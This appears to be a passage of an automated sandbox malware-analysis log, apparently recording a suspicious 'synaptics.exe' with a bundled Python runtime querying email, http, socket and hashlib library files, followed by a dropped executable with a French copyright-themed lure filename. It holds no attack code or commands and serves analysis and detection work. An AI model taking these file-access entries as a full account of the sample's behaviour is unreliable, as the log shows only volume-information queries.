Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\__init__.cpython-310.pyc.25858392 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\hashlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\hashlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\hashlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\hashlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\hashlib.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\hashlib.cpython-310.pyc.25649184 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs\_hashlib.pyd VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__pycache__\__init__.cpython-310.pyc.22329824 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\client.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\client.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\client.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\client.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\http\__pycache__\client.cpython-310.pyc.22328472 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\parser.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\parser.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\parser.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\parser.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\parser.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\parser.cpython-310.pyc.25705864 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\feedparser.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\feedparser.cpython-310.pyc.30287000 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\errors.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\errors.cpython-310.pyc.30289808 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\_policybase.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\_policybase.cpython-310.pyc.30318624 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\header.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\header.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\header.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\header.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\header.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\header.cpython-310.pyc.30322264 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\quoprimime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\quoprimime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\quoprimime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\quoprimime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\quoprimime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\quoprimime.cpython-310.pyc.30370064 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\string.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\string.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\string.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\string.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\string.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\string.cpython-310.pyc.25650816 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\base64mime.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\base64mime.cpython-310.pyc.30351144 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\charset.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\charset.cpython-310.pyc.30351040 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\encoders.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\encoders.cpython-310.pyc.30398216 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\quopri.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\quopri.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\quopri.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\quopri.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\quopri.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\quopri.cpython-310.pyc.25651680 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\utils.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\utils.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\utils.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\utils.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\utils.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\email\__pycache__\utils.cpython-310.pyc.30368816 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\random.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\random.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\random.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\random.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\random.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\random.cpython-310.pyc.25652256 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\warnings.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\warnings.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\warnings.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\warnings.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\warnings.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\warnings.cpython-310.pyc.25652736 VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\socket.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\socket.py VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__init__.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\__init__.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\__init__.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\DLLs VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\codecs.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\codecs.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\__pycache__\codecs.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\aliases.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\aliases.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\aliases.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\utf_8.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\utf_8.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\utf_8.cpython-310.pyc VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\cp1252.py VolumeInformation
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Queries volume information: C:\Users\Public\QExvbmVOb25l\Lib\encodings\__pycache__\cp1252.cpython-310.pyc VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe

